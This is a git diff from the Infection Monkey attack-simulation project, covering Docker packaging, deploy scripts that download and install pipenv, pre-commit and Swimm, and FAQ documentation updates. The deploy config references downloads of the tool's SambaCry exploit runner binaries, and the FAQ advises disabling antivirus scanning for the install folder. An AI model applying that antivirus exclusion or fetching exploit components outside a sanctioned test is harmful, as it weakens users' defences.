"$monkey_repo/monkey" "$build_dir" + copy_server_config_to_build_dir "$build_dir" + add_agent_binaries_to_build_dir "$agent_binary_dir" "$build_dir" + + generate_ssl_cert "$build_dir" + + build_frontend "$build_dir" +} + +copy_entrypoint_to_build_dir() { + cp "$DOCKER_DIR"/entrypoint.sh "$1" + chmod 755 "$1/entrypoint.sh" +} + +copy_server_config_to_build_dir() { + cp "$DOCKER_DIR"/server_config.json "$1"/monkey_island/cc +} + +build_package() { + local version=$1 + local dist_dir=$2 + pushd ./docker + + docker_image_name="guardicore/monkey-island:$version" + tar_name="$DOCKER_DIR/dk.monkeyisland.$version.tar" + + build_docker_image_tar "$docker_image_name" "$tar_name" + build_docker_image_tgz "$tar_name" "$version" + + move_package_to_dist_dir $dist_dir + + popd +} + +build_docker_image_tar() { + sudo docker build . -t "$1" + sudo docker save "$1" > "$2" +} + +build_docker_image_tgz() { + mkdir tgz + mv "$1" ./tgz + cp ./DOCKER_README.md ./tgz/README.md + tar -C ./tgz -cvf "$OUTPUT_NAME_TGZ" --gzip . +} + +move_package_to_dist_dir() { + mv $OUTPUT_NAME_TGZ "$1/" +} diff --git a/build_scripts/docker/entrypoint.sh b/build_scripts/docker/entrypoint.sh new file mode 100755 index 000000000..069d3619c --- /dev/null +++ b/build_scripts/docker/entrypoint.sh @@ -0,0 +1,6 @@ +#!/bin/bash + +echo "$@" + +source /monkey/bin/activate +python /monkey/monkey_island.py "$@" diff --git a/build_scripts/docker/server_config.json b/build_scripts/docker/server_config.json new file mode 100644 index 000000000..77e5d9855 --- /dev/null +++ b/build_scripts/docker/server_config.json @@ -0,0 +1,11 @@ +{ + "data_dir": "/monkey_island_data", + "log_level": "DEBUG", + "environment": { + "server_config": "password", + "deployment": "docker" + }, + "mongodb": { + "start_mongodb": false + } +} diff --git a/ci_scripts/.gitignore b/ci_scripts/.gitignore deleted file mode 100644 index 67f93fcdc..000000000 --- a/ci_scripts/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -./validation-env -./flake8_warnings.txt diff --git a/ci_scripts/README.md b/ci_scripts/README.md deleted file mode 100644 index 09330d298..000000000 --- a/ci_scripts/README.md +++ /dev/null @@ -1,8 +0,0 @@ -# About - -Run this script to validate your code locally and auto fix/format the problems before pushing. - -# Usage - -You've got to manually download swimm for swimm validation. -run from `infection_monkey` directory: `powershell .\ci_scripts\validate.ps1` diff --git a/ci_scripts/flake8_syntax_check.ini b/ci_scripts/flake8_syntax_check.ini deleted file mode 100644 index 969379326..000000000 --- a/ci_scripts/flake8_syntax_check.ini +++ /dev/null @@ -1,15 +0,0 @@ -[flake8] - -## Check syntax errors and fail the build if any are found. -exclude = - ../monkey/monkey_island/cc/ui, - ../monkey/common/cloud -select = - E901, - E999, - F821, - F822, - F823 -count = True -show-source = True -statistics = True diff --git a/ci_scripts/install_requirements.ps1 b/ci_scripts/install_requirements.ps1 deleted file mode 100644 index de42d8599..000000000 --- a/ci_scripts/install_requirements.ps1 +++ /dev/null @@ -1,5 +0,0 @@ -python -m venv validation-env -.\validation-env\Scripts\activate.ps1 -python -m pip install -r .\requirements.txt -npm i -g eslint -deactivate diff --git a/ci_scripts/isort.cfg b/ci_scripts/isort.cfg deleted file mode 100644 index d8651febd..000000000 --- a/ci_scripts/isort.cfg +++ /dev/null @@ -1,6 +0,0 @@ -[isort] - -# Possible options: https://pycqa.github.io/isort/docs/configuration/options/ - -known_first_party=common,infection_monkey,monkey_island -skip=monkey/common/cloud/scoutsuite,monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py,monkey/monkey_island/cc/ui,monkey/common/cloud/scoutsuite diff --git a/ci_scripts/requirements.txt b/ci_scripts/requirements.txt deleted file mode 100644 index 2b7db1909..000000000 --- a/ci_scripts/requirements.txt +++ /dev/null @@ -1,6 +0,0 @@ -flake8 -pytest -dlint -isort -coverage -black diff --git a/ci_scripts/validate.ps1 b/ci_scripts/validate.ps1 deleted file mode 100644 index d85da6a2a..000000000 --- a/ci_scripts/validate.ps1 +++ /dev/null @@ -1,39 +0,0 @@ -.\ci_scripts\validation-env\Scripts\activate.ps1 -$ErrorActionPreference = "Stop" -python -m pip install -r monkey/monkey_island/requirements.txt -python -m pip install -r monkey/infection_monkey/requirements.txt -flake8 ./monkey --config ./ci_scripts/flake8_syntax_check.cfg -flake8 ./monkey --exit-zero --config ./ci_scripts/flake8_linter_check.cfg | Out-File -FilePath .\ci_scripts\flake8_warnings.txt -Get-Content -Path .\ci_scripts\flake8_warnings.txt -$PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT = 80 -if ((Get-Item -Path .\ci_scripts\flake8_warnings.txt | Get-Content -Tail 1) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT){ - "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " - exit -} -python -m isort ./monkey -c --settings-file ./ci_scripts/isort.cfg -if (!$?) { - $confirmation = Read-Host "Isort found errors. Do you want to attmpt to fix them automatically? (y/n)" - if ($confirmation -eq 'y') { - python -m isort ./monkey --settings-file ./ci_scripts/isort.cfg - } -} -Push-Location -Path ./monkey -python ./monkey_island/cc/environment/set_server_config.py testing -python -m pytest -$lastCommandSucceeded = $? -python ./monkey_island/cc/environment/set_server_config.py restore -Pop-Location - -if (!$lastCommandSucceeded) { - exit -} - -Push-Location -Path .\monkey\monkey_island\cc\ui -eslint ./src -c ./.eslintrc -Pop-Location - -swimm verify - -Write-Host "Script finished. Press any key to continue" -$null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown'); -deactivate diff --git a/codecov.yml b/codecov.yml index 190044367..dbb2d98f7 100644 --- a/codecov.yml +++ b/codecov.yml @@ -1,2 +1,5 @@ fixes: - "::monkey/" + +github_checks: + annotations: false diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md index 4ee91b5b4..54e077ec7 100644 --- a/deployment_scripts/README.md +++ b/deployment_scripts/README.md @@ -16,7 +16,7 @@ Invoke-WebRequest https://raw.githubusercontent.com/guardicore/monkey/develop/de This will download our deploy script. It's a good idea to read it quickly before executing it! -After downloading that script, execute it in `powershell`. +After downloading that script, execute it in `powershell`. The first argument is an empty directory (script can create one). The second argument is which branch you want to clone - by default, the script will check out the `develop` branch. Some example usages: @@ -49,9 +49,9 @@ Then execute the resulting script with your shell. After downloading that script, execute it in a shell. The first argument should be an absolute path of an empty directory (the script will create one if doesn't exist, default is ./infection_monkey). The second parameter is the branch you want to clone (develop by default). Some example usages: - `./deploy_linux.sh` (deploys under ./infection_monkey) -- `./deploy_linux.sh "/home/test/monkey"` (deploys under /home/test/monkey) +- `./deploy_linux.sh /home/test/monkey` (deploys under /home/test/monkey) - `./deploy_linux.sh "" "master"` (deploys master branch in script directory) -- `./deploy_linux.sh "/home/user/new" "master"` (if directory "new" is not found creates it and clones master branch into it) +- `./deploy_linux.sh /home/user/new "master"` (if directory "new" is not found creates it and clones master branch into it) You may also pass in an optional third `false` parameter to disable downloading the latest agent binaries. @@ -59,7 +59,35 @@ You may also pass in an optional third `false` parameter to disable downloading After the `deploy_linux.sh` script completes, you can start the monkey island. +Note: You'll need to run the commands below in a new shell in order to ensure +your PATH environment variable is up to date. + ```sh -cd infection_monkey/monkey -./monkey_island/linux/run.sh +cd infection_monkey/monkey/monkey_island +pipenv run python ../monkey_island.py ``` + +## Pre-commit hooks + +Both the Linux and Windows deployment scrips will install and configure +[pre-commit](https://pre-commit.com/). Pre-commit is a multi-language package +manager for pre-commit hooks. It will run a set of checks when you attempt to +commit. If your commit does not pass all checks, it will be reformatted and/or +you'll be given a list of errors and warnings that need to be fixed before you +can commit. + +Our CI system runs the same checks when pull requests are submitted. This +system may report that the build has failed if the pre-commit hooks have not +been run or all issues have not been resolved. + +### Manually installing pre-commit + +To install and configure pre-commit manually, run `pip install --user +pre-commit`. Next, go to the top level directory of this repository and run +`pre-commit install -t pre-commit -t pre-push` Now, pre-commit will automatically run whenever you `git commit`. + +## Swimm + +Infection Monkey has development tutorials that use [`swimm.io`](https://swimm.io/) to help teach new developers how to perform common code tasks in the Infection Monkey codebase and accelerate the ramp-up process. The tutorials include adding new configuration values, new system info collectors and more. + +In order to pass the pre-commit checks, you'll have to [install Swimm successfully](https://www.guardicore.com/infectionmonkey/docs/development/swimm/). Both the Linux and Windows deployment scrips will install [Swimm](https://swimm.io/), but you'll have to sign up [here](https://swimm.io/sign-beta) to complete the process. diff --git a/deployment_scripts/config b/deployment_scripts/config index cad04a01c..101dadd0f 100644 --- a/deployment_scripts/config +++ b/deployment_scripts/config @@ -43,3 +43,6 @@ export TRACEROUTE_32_BINARY_URL="https://github.com/guardicore/monkey/releases/d export SAMBACRY_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/sc_monkey_runner64.so" export SAMBACRY_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/sc_monkey_runner32.so" + +# Swimm +export SWIMM_URL=https://github.com/swimmio/SwimmReleases/releases/download/v0.4.4-0/Swimm_0.4.4-0_Setup.deb diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1 index d140eb711..54ad20be9 100644 --- a/deployment_scripts/config.ps1 +++ b/deployment_scripts/config.ps1 @@ -46,3 +46,4 @@ $OPEN_SSL_URL = "https://indy.fulgan.com/SSL/openssl-1.0.2u-x64_86-win64.zip" $CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572" $NPM_URL = "https://nodejs.org/dist/v12.14.1/node-v12.14.1-x64.msi" $UPX_URL = "https://github.com/upx/upx/releases/download/v3.96/upx-3.96-win64.zip" +$SWIMM_URL="https://github.com/swimmio/SwimmReleases/releases/download/v0.4.4-0/Swimm-Setup-0.4.4-0.exe" diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 408aa3148..0d3fc82d2 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -23,6 +23,13 @@ log_message() { echo -e "DEPLOYMENT SCRIPT: $1" } +configure_precommit() { + $1 -m pip install --user pre-commit + pushd "$2" + $HOME/.local/bin/pre-commit install -t pre-commit -t pre-push + popd +} + if is_root; then log_message "Please don't run this script as root" exit 1 @@ -84,9 +91,9 @@ fi log_message "Cloning files from git" branch=${2:-"develop"} +log_message "Branch selected: ${branch}" if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error - chmod 774 -R "${monkey_home}" fi # Create folders @@ -110,7 +117,7 @@ if [[ ${python_cmd} == "" ]]; then log_message "Python 3.7 command not found. Installing python 3.7." sudo add-apt-repository ppa:deadsnakes/ppa sudo apt-get update - sudo apt-get install -y python3.7 python3.7-dev + sudo apt-get install -y python3.7 python3.7-dev python3.7-venv log_message "Python 3.7 is now available with command 'python3.7'." python_cmd="python3.7" fi @@ -132,14 +139,22 @@ fi ${python_cmd} get-pip.py rm get-pip.py +log_message "Installing pipenv" +${python_cmd} -m pip install --user -U pipx +${python_cmd} -m pipx ensurepath +source ~/.profile +pipx install pipenv + log_message "Installing island requirements" -requirements_island="$ISLAND_PATH/requirements.txt" -${python_cmd} -m pip install -r "${requirements_island}" --user --upgrade || handle_error +pushd $ISLAND_PATH +pipenv install --dev +popd log_message "Installing monkey requirements" sudo apt-get install -y libffi-dev upx libssl-dev libc++1 -requirements_monkey="$INFECTION_MONKEY_DIR/requirements.txt" -${python_cmd} -m pip install -r "${requirements_monkey}" --user --upgrade || handle_error +pushd $INFECTION_MONKEY_DIR +pipenv install --dev +popd agents=${3:-true} # Download binaries @@ -223,7 +238,21 @@ else curl -o ${MONKEY_BIN_DIR}/traceroute32 ${TRACEROUTE_32_BINARY_URL} fi +# Download Swimm +log_message "Downloading swimm" +if exists wget; then + wget ${SWIMM_URL} -O $HOME/swimm +else + curl ${SWIMM_URL} -o $HOME/swimm +fi + +log_message "Installing swimm" +sudo dpkg -i $HOME/swimm || (sudo apt-get update && sudo apt-get -f install) +rm $HOME/swimm + sudo chmod +x "${INFECTION_MONKEY_DIR}/build_linux.sh" +configure_precommit ${python_cmd} ${monkey_home} + log_message "Deployment script finished." exit 0 diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 index 85a3f0698..9ce8480cb 100644 --- a/deployment_scripts/deploy_windows.ps1 +++ b/deployment_scripts/deploy_windows.ps1 @@ -9,6 +9,35 @@ param( [Bool] $agents = $true ) + +function Configure-precommit([String] $git_repo_dir) +{ + Write-Output "Installing pre-commit and setting up pre-commit hook" + Push-Location $git_repo_dir + python -m pip install pre-commit + if ($LastExitCode) { + exit + } + pre-commit install -t pre-commit -t pre-push + if ($LastExitCode) { + exit + } + Pop-Location + + # Set env variable to skip Swimm verification during pre-commit, Windows not supported yet + $skipValue = [System.Environment]::GetEnvironmentVariable('SKIP', [System.EnvironmentVariableTarget]::User) + if ($skipValue) { # if `SKIP` is not empty + if (-Not ($skipValue -split ',' -contains 'swimm-verify')) { # if `SKIP` doesn't already have "swimm-verify" + [System.Environment]::SetEnvironmentVariable('SKIP', $env:SKIP + ',swimm-verify', [System.EnvironmentVariableTarget]::User) + } + } + else { + [System.Environment]::SetEnvironmentVariable('SKIP', 'swimm-verify', [System.EnvironmentVariableTarget]::User) + } + + Write-Output "Pre-commit successfully installed" +} + function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, [String] $branch = "develop") { Write-Output "Downloading to $monkey_home" @@ -109,15 +138,21 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, return } + "Installing pipx" + pip install --user -U pipx + pipx ensurepath + pipx install pipenv + "Installing python packages for island" - $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop - & python -m pip install --user -r $islandRequirements + Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR) -ErrorAction Stop + pipenv install --dev + Pop-Location "Installing python packages for monkey" - $monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements.txt" - & python -m pip install --user -r $monkeyRequirements - "Installing python packages for ScoutSuite" - $scoutsuiteRequirements = Join-Path -Path $monkey_home -ChildPath $SCOUTSUITE_DIR | Join-Path -ChildPath "\requirements.txt" - & python -m pip install --user -r $scoutsuiteRequirements + Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR) -ErrorAction Stop + pipenv install --dev + Pop-Location + + Configure-precommit($monkey_home) $user_python_dir = cmd.exe /c 'py -m site --user-site' $user_python_dir = Join-Path (Split-Path $user_python_dir) -ChildPath "\Scripts" @@ -141,7 +176,6 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, } | Select-Object -ExpandProperty Name # Move all files from extracted folder to mongodb folder New-Item -ItemType directory -Path (Join-Path -Path $binDir -ChildPath "mongodb") - New-Item -ItemType directory -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "db") "Moving extracted files" Move-Item -Path (Join-Path -Path $binDir -ChildPath $mongodb_folder | Join-Path -ChildPath "\bin\*") -Destination (Join-Path -Path $binDir -ChildPath "mongodb\") "Removing zip file" @@ -244,6 +278,13 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, $webClient.DownloadFile($SAMBA_64_BINARY_URL, $samba64_path) } + # Get Swimm + "Downloading Swimm..." + $swimm_filename = Join-Path -Path $HOME -ChildPath "swimm.exe" + $webClient.DownloadFile($SWIMM_URL, $swimm_filename) + Start-Process $swimm_filename + + "Script finished" } diff --git a/docker/.dockerignore b/docker/.dockerignore deleted file mode 100644 index dd449725e..000000000 --- a/docker/.dockerignore +++ /dev/null @@ -1 +0,0 @@ -*.md diff --git a/docker/Dockerfile b/docker/Dockerfile deleted file mode 100644 index aec69fd32..000000000 --- a/docker/Dockerfile +++ /dev/null @@ -1,24 +0,0 @@ -FROM debian:stretch-slim - -LABEL MAINTAINER="theonlydoo " - -ARG RELEASE=1.8.0 -ARG DEBIAN_FRONTEND=noninteractive - -EXPOSE 5000 - -WORKDIR /app - -ADD https://github.com/guardicore/monkey/releases/download/${RELEASE}/infection_monkey_deb.${RELEASE}.tgz . - -RUN tar xvf infection_monkey_deb.${RELEASE}.tgz \ - && apt-get -yqq update \ - && apt-get -yqq upgrade \ - && apt-get -yqq install python-pip \ - python-dev \ - && dpkg -i *.deb \ - && rm -f *.deb *.tgz - -WORKDIR /var/monkey -ENTRYPOINT ["/var/monkey/monkey_island/bin/python/bin/python"] -CMD ["/var/monkey/monkey_island.py"] diff --git a/docker/README.md b/docker/README.md deleted file mode 100644 index 768730061..000000000 --- a/docker/README.md +++ /dev/null @@ -1,11 +0,0 @@ -# Improvements needed - -* Remove embedded mongodb from .deb, it forbids installation on a `debian:stretch` distro. -* Package monkey for system's python usage. -* Fix package number: (I installed the 1.5.2) -``` -ii gc-monkey-island 1.0 amd64 Guardicore Infection Monkey Island installation package -``` -* Use .deb dependencies for mongodb setup? -* Use docker-compose for stack construction. -* Remove the .sh script from the systemd unit file (`/var/monkey_island/ubuntu/systemd/start_server.sh`) which only does a `cd && localpython run` \ No newline at end of file diff --git a/docker/docker-compose.yml b/docker/docker-compose.yml deleted file mode 100644 index 94a81b00e..000000000 --- a/docker/docker-compose.yml +++ /dev/null @@ -1,22 +0,0 @@ -version: '3.3' - -services: - db: - image: mongo:4 - restart: always - volumes: - - db_data:/data/db - environment: - MONGO_INITDB_DATABASE: monkeyisland - monkey: - depends_on: - - db - build: . - image: monkey:latest - ports: - - "5000:5000" - environment: - MONGO_URL: mongodb://db:27017/monkeyisland - -volumes: - db_data: diff --git a/docs/config/production/config.toml b/docs/config/production/config.toml index 819657d4c..1fb5c2e20 100644 --- a/docs/config/production/config.toml +++ b/docs/config/production/config.toml @@ -1,2 +1,2 @@ -baseURL = "https://www.guardicore.com/infectionmonkey/docs" +baseURL = "https://www.guardicore.com/infectionmonkey/docs/" canonifyURLs = true diff --git a/docs/config/staging/config.toml b/docs/config/staging/config.toml index dd159fdd8..671171770 100644 --- a/docs/config/staging/config.toml +++ b/docs/config/staging/config.toml @@ -1,2 +1,2 @@ -baseURL = "https://staging-covuyicu.kinsta.cloud/infectionmonkey/docs/" +baseURL = "http://staging-infectionmonkey.temp312.kinsta.cloud/docs/" canonifyURLs = true diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 2d46310cd..32ae18617 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -5,85 +5,123 @@ draft: false pre: " " --- -Here are some of the most common questions we receive about the Infection Monkey. If the answer you're looking for isn't here, talk with us [on our Slack channel](https://infectionmonkey.slack.com/join/shared_invite/enQtNDU5MjAxMjg1MjU1LWM0NjVmNWE2ZTMzYzAxOWJiYmMxMzU0NWU3NmUxYjcyNjk0YWY2MDkwODk4NGMyNDU4NzA4MDljOWNmZWViNDU), email us at [support@infectionmonkey.com](mailto:support@infectionmonkey.com) or [open an issue on GitHub](https://github.com/guardicore/monkey). +Below are some of the most common questions we receive about the Infection Monkey. If the answer you're looking for isn't here, talk with us [on our Slack channel](https://infectionmonkey.slack.com/join/shared_invite/enQtNDU5MjAxMjg1MjU1LWM0NjVmNWE2ZTMzYzAxOWJiYmMxMzU0NWU3NmUxYjcyNjk0YWY2MDkwODk4NGMyNDU4NzA4MDljOWNmZWViNDU), email us at [support@infectionmonkey.com](mailto:support@infectionmonkey.com) or [open an issue on GitHub](https://github.com/guardicore/monkey). -- [Where can I get the latest Monkey version?](#where-can-i-get-the-latest-monkey-version) -- [How long does a single Monkey run for? Is there a time limit?](#how-long-does-a-single-monkey-run-for-is-there-a-time-limit) -- [How to reset the password?](#how-to-reset-the-password) -- [Should I run the Monkey continuously?](#should-i-run-the-monkey-continuously) - - [Which queries does Monkey perform to the Internet exactly?](#which-queries-does-monkey-perform-to-the-internet-exactly) -- [Where can I find the log files of the Monkey and the Monkey Island, and how can I read them?](#where-can-i-find-the-log-files-of-the-monkey-and-the-monkey-island-and-how-can-i-read-them) - - [Monkey Island](#monkey-island) - - [Monkey agent](#monkey-agent) -- [Running the Monkey in a production environment](#running-the-monkey-in-a-production-environment) - - [How much of a footprint does the Monkey leave?](#how-much-of-a-footprint-does-the-monkey-leave) - - [What's the Monkey's impact on system resources usage?](#whats-the-monkeys-impact-on-system-resources-usage) - - [Is it safe to use real passwords and usernames in the Monkey's configuration?](#is-it-safe-to-use-real-passwords-and-usernames-in-the-monkeys-configuration) +- [Where can I get the latest version of the Infection Monkey?](#where-can-i-get-the-latest-version-of-the-infection-monkey) +- [How long does a single Infection Monkey agent run? Is there a time limit?](#how-long-does-a-single-infection-monkey-agent-run-is-there-a-time-limit) +- [Is the Infection Monkey a malware/virus?](#is-infection-monkey-a-malwarevirus) +- [Reset/enable the Monkey Island password](#resetenable-the-monkey-island-password) +- [Should I run the Infection Monkey continuously?](#should-i-run-the-infection-monkey-continuously) + - [Which queries does the Infection Monkey perform to the internet exactly?](#which-queries-does-the-infection-monkey-perform-to-the-internet-exactly) +- [Logging and how to find logs](#logging-and-how-to-find-logs) + - [Monkey Island server](#monkey-island-server) + - [Infection Monkey agent](#infection-monkey-agent) + - [How do I change the log level of the Monkey Island logger?](#how-do-i-change-the-log-level-of-the-monkey-island-logger) +- [Running the Infection Monkey in a production environment](#running-the-infection-monkey-in-a-production-environment) + - [How much of a footprint does the Infection Monkey leave?](#how-much-of-a-footprint-does-the-infection-monkey-leave) + - [What's the Infection Monkey's impact on system resources usage?](#whats-the-infection-monkeys-impact-on-system-resources-usage) + - [Is it safe to use real passwords and usernames in the Infection Monkey's configuration?](#is-it-safe-to-use-real-passwords-and-usernames-in-the-infection-monkeys-configuration) - [How do you store sensitive information on Monkey Island?](#how-do-you-store-sensitive-information-on-monkey-island) - - [How stable are the exploitations used by the Monkey? Will the Monkey crash my systems with its exploits?](#how-stable-are-the-exploitations-used-by-the-monkey-will-the-monkey-crash-my-systems-with-its-exploits) -- [After I've set up Monkey Island, how can I execute the Monkey?](#after-ive-set-up-monkey-island-how-can-i-execute-the-monkey) -- [How can I make the monkey propagate “deeper” into the network?](#how-can-i-make-the-monkey-propagate-deeper-into-the-network) -- [The report returns a blank screen](#the-report-returns-a-blank-screen) + - [How stable are the exploitations used by the Infection Monkey? Will the Infection Monkey crash my systems with its exploits?](#how-stable-are-the-exploitations-used-by-the-infection-monkey-will-the-infection-monkey-crash-my-systems-with-its-exploits) +- [After I've set up Monkey Island, how can I execute the Infection Monkey?](#after-ive-set-up-monkey-island-how-can-i-execute-the-infection-monkey-agent) +- [How can I make the Infection Monkey agents propagate “deeper” into the network?](#how-can-i-make-the-infection-monkey-agent-propagate-deeper-into-the-network) +- [What if the report returns a blank screen?](#what-if-the-report-returns-a-blank-screen) - [How can I get involved with the project?](#how-can-i-get-involved-with-the-project) -## Where can I get the latest Monkey version? +## Where can I get the latest version of the Infection Monkey? -For the latest **stable** release for users, visit [our downloads page](https://www.guardicore.com/infectionmonkey/#download). **This is the recommended and supported version**! +For the latest **stable** release, visit [our downloads page](https://www.guardicore.com/infectionmonkey/#download). **This is the recommended and supported version**! If you want to see what has changed between versions, refer to the [releases page on GitHub](https://github.com/guardicore/monkey/releases). For the latest development version, visit the [develop version on GitHub](https://github.com/guardicore/monkey/tree/develop). -## How long does a single Monkey run for? Is there a time limit? +## How long does a single Infection Monkey agent run? Is there a time limit? -The Monkey shuts off either when it can't find new victims, or when it has exceeded the quota of victims as defined in the configuration. +The Infection Monkey agent shuts off either when it can't find new victims or it has exceeded the quota of victims as defined in the configuration. -## How to reset the password? +## Is the Infection Monkey a malware/virus? -On your first access of Monkey Island server, you'll be prompted to create an account. If you forgot the credentials you - entered or just want to change them, you need to manually alter the `server_config.json` file. On Linux, this file is - located on `/var/monkey/monkey_island/cc/server_config.json`. On windows, it's based on your install directory (typically - `C:\Program Files\Guardicore\Monkey Island\monkey_island\cc\server_config.json`). Reset the contents of this file - leaving the **deployment option unchanged** (it might be "vmware" or "linux" in your case): +The Infection Monkey is not malware, but it uses similar techniques to safely +simulate malware on your network. +Because of this, the Infection Monkey gets flagged as malware by some antivirus +solutions during installation. If this happens, [verify the integrity of the +downloaded installer](/usage/file-checksums) first. Then, create a new folder +and disable antivirus scan for that folder. Lastly, re-install the Infection +Monkey in the newly created folder. + +## Reset/enable the Monkey Island password + +When you first access the Monkey Island server, you'll be prompted to create an account. +To reset the credentials or enable/disable the authentication, +edit the `server_config.json` file manually +(located in the [data directory](/reference/data_directory)). + +In order to reset the credentials, the following edits need to be made: +1. Delete the `user` field if one exists. It will look like this: ```json { - "server_config": "password", - "deployment": "windows" + ... + "user": "username", + ... } ``` - Then reset the Island process (`sudo systemctl restart monkey-island.service` for linux, restart program for windows). - Finally, go to the Island's URL and create a new account. +1. Delete the `password_hash` field if one exists. It will look like this: +```json +{ + ... + "password_hash": "$2b$12$d050I/MsR5.F5E15Sm7EkunmmwMkUKaZE0P0tJXG.M9tF.Kmkd342", + ... +} +``` +1. Set `server_config` to `password`. It should look like this: +```json +{ + ... + "environment": { + ... + "server_config": "password", + ... + }, + ... +} +``` + Then, reset the Monkey Island process. + On Linux, use `sudo systemctl restart monkey-island.service`. + On Windows, restart the program. + Finally, go to the Monkey Island's URL and create a new account. -## Should I run the Monkey continuously? +## Should I run the Infection Monkey continuously? -Yes! This will allow you to verify that no new security issues were identified by the Monkey since the last time you ran it. +Yes! This will allow you to verify that the Infection Monkey identified no new security issues since the last time you ran it. -Does the Infection Monkey require a connection to the Internet? +Does the Infection Monkey require a connection to the internet? The Infection Monkey does not require internet access to function. -If internet access is available, the Monkey will use the Internet for two purposes: +If internet access is available, the Infection Monkey will use the internet for two purposes: - To check for updates. - To check if machines can reach the internet. -### Which queries does Monkey perform to the Internet exactly? +### Exactly what internet queries does the Infection Monkey perform? The Monkey performs queries out to the Internet on two separate occasions: -1. The Infection Monkey agent checks if it has internet access by performing requests to pre-configured domains. By default, these domains are `updates.infectionmonkey.com` and `www.google.com`. The request doesn't include any extra information - it's a GET request with no extra parameters. Since the Infection Monkey is 100% open-source, you can find the domains in the configuration [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/infection_monkey/config.py#L152) and the code that performs the internet check [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/infection_monkey/network/info.py#L123). This **IS NOT** used for statistics collection. -1. After installation of the Monkey Island, the Monkey Island sends a request to check for updates. The request doesn't include any PII other than the IP address of the request. It also includes the server's deployment type (e.g. Windows Server, Debian Package, AWS Marketplace, etc.) and the server's version (e.g. "1.6.3"), so we can check if we have an update available for this type of deployment. Since the Infection Monkey is 100% open-source, you can inspect the code that performs this [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/monkey_island/cc/services/version_update.py#L37). This **IS** used for statistics collection. However due to the anonymous nature of this data we use this to get an aggregate assumption as to how many deployments we see over a specific time period - no "personal" tracking. +1. The Infection Monkey agent checks if it has internet access by performing requests to pre-configured domains. By default, these domains are `monkey.guardicore.com` and `www.google.com`, which can be changed. The request doesn't include any extra information - it's a GET request with no extra parameters. Since the Infection Monkey is 100% open-source, you can find the domains in the configuration [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/infection_monkey/config.py#L152) and the code that performs the internet check [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/infection_monkey/network/info.py#L123). This **IS NOT** used for statistics collection. +1. After installing the Monkey Island, it sends a request to check for updates on `updates.infectionmonkey.com`. The request doesn't include any PII other than the IP address of the request. It also includes the server's deployment type (e.g., Windows Server, Debian Package, AWS Marketplace) and the server's version (e.g., "1.6.3"), so we can check if we have an update available for this type of deployment. Since the Infection Monkey is 100% open-source, you can inspect the code that performs this [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/monkey_island/cc/services/version_update.py#L37). This **IS** used for statistics collection. However, due to this data's anonymous nature, we use this to get an aggregate assumption of how many deployments we see over a specific time period - it's not used for "personal" tracking. -## Where can I find the log files of the Monkey and the Monkey Island, and how can I read them? +## Logging and how to find logs -### Monkey Island +### Monkey Island server logs -The Monkey Island's log file can be downloaded directly from the UI. Click the “log” section and choose “Download Monkey Island internal logfile”, like so: +You can download the Monkey Island's log file directly from the UI. Click the "log" section and choose **Download Monkey Island internal logfile**, like so: ![How to download Monkey Island internal log file](/images/faq/download_log_monkey_island.png "How to download Monkey Island internal log file") -It can also be found as a local file on the Monkey Island server, where the Monkey Island was executed, called `info.log`. +It can also be found as a local file on the Monkey Island server system in the specified +[data directory](/reference/data_directory). -The log enables you to see which requests were requested from the server, and extra logs from the backend logic. The log will contain entries like these ones for example: +The log enables you to see which requests were requested from the server and extra logs from the backend logic. The log will contain entries like these: ```log 2019-07-23 10:52:23,927 - wsgi.py:374 - _log() - INFO - 200 GET /api/local-monkey (10.15.1.75) 17.54ms @@ -91,14 +129,14 @@ The log enables you to see which requests were requested from the server, and ex 2019-07-23 10:52:24,027 - report.py:580 - get_domain_issues() - INFO - Domain issues generated for reporting ``` -### Monkey agent +### Infection Monkey agent logs -The Monkey log file can be found in the following paths on machines where it was executed: +The Infection Monkey agent log file can be found in the following paths on machines where it was executed: - Path on Linux: `/tmp/user-1563` - Path on Windows: `%temp%\\~df1563.tmp` -The logs contain information about the internals of the Monkey's execution. 